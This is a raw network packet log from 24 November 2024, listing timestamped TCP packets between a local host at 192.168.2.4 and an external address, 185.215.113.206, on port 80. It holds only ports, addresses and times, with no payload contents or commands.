Nov 24, 2024 02:13:07.652960062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.653084040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.654376984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.654476881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.654491901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.654601097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.655869007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.655972958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.655996084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.656094074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.657380104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.657485008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.657486916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.657588005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.658858061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.658966064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.658991098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.659069061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.685724974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.685741901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.686111927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.686203003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.686229944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.687123060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.687211037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.687222004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.688102007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.688226938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.688251972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.689121008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.689244032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.689268112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.690140963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.690248966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.690273046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.691159010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.691209078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.691250086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.692200899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.692291021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.692315102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.693253994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.693380117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.693404913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.694222927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.694356918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.694380045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.695240974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.695265055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.695333004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.696325064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.696346998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.696356058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.697252989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.697266102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.697356939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.698301077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.698324919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.698395014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.699326038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.699352026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.699378014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.700315952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.700340986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.700431108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.701351881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.701375008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.701450109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.702378988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.702403069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.702470064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.703212023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.703389883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.703479052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.704410076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.704432964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.704500914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.707206964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.751019001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.751131058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.751158953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.751276970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.751521111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.751559019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.751583099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.751710892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.752561092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.752624989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.752650976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.752995014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.753539085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.753626108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.753979921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.754561901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.754681110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.754704952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.755575895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.755600929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.755681038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.755830050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.756602049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.756680012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.758021116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.812372923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.812479973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.812526941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.812776089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.813040972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.813060045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.813107014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.813107014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.814024925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.814076900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.814169884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.814371109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.815045118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.815062046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.815115929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.815115929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.815993071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.816140890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.816926003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.816941977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.817061901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.817061901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.818042040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.818216085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.818238974 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.819070101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.819087029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.819174051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.819174051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.820014954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.820190907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.820378065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.820790052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.820806026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.820888042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.821716070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.821758986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.821803093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.823338985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.824601889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.824618101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.824759007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.825381994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.825397968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.825414896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.825431108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.825440884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.825452089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.825619936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.826273918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.826417923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.826658010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.827331066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.827492952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.828397989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.828413963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.828475952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.828475952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.829292059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.829783916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.829806089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.830306053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.830454111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.830487013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.831445932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.831461906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.831473112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.831825972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.831898928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.832012892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.832039118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.832118988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.832895041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.833048105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.833273888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.833915949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.834037066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.834063053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.834163904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.834929943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.835026979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.835053921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.835212946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.835977077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.836030006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.836054087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.836174011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.836986065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.837105036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.837183952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.837449074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.837989092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.838052988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.838078022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.838181019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.878010035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.878026009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.878094912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.878094912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.878333092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.878412962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.878485918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.879209042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.879247904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.879381895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.879514933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.880445004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.880507946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.880589962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.881562948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.881577969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.881648064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.881648064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.882369041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.882476091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.882500887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.883316994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.883479118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.883791924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.883816957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.884474993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.884522915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.884567022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.885426998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.885710001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.885736942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.886509895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.886657953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.886687994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.887423038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.887449980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.887538910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.888468027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.888494015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.888823986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.889568090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.889592886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.889717102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.889869928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.890465975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.890595913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.890665054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.890665054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.891741037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.891757011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.891860962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.892656088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.892673016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.892730951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.893513918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.893639088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.893814087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.894473076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.894674063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.894690037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.895210028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.895538092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.895646095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.896194935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.896567106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.896658897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.896845102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.943100929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.943197012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.943264008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.943264008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.943526030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.943741083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.943768024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.943809032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.943926096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.944771051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.944798946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.945179939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.945806026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.945916891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.945945978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.946018934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.946845055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.946862936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.947208881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.947813034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.947876930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.948404074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:07.948822021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:07.949537992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.003834963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.003901005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.004352093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.004379034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.004503012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.005163908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.005359888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.005472898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.006238937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.006366014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.006486893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.006513119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.006844044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.007374048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.007455111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.008408070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.008431911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.008456945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.008512974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.009464979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.009506941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.009571075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.009597063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.009713888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.010447979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.010557890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.010718107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.011473894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.011573076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.011610031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.011682034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.012502909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.012594938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.012890100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.013509989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.013616085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.013767004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.014539957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.014581919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.015134096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.015532970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.015559912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.015583992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.015691996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.016561031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.016669035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.016678095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.016817093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.017577887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.017707109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.018594027 CET	80	49730	185.215.113.206	192.168.2.4
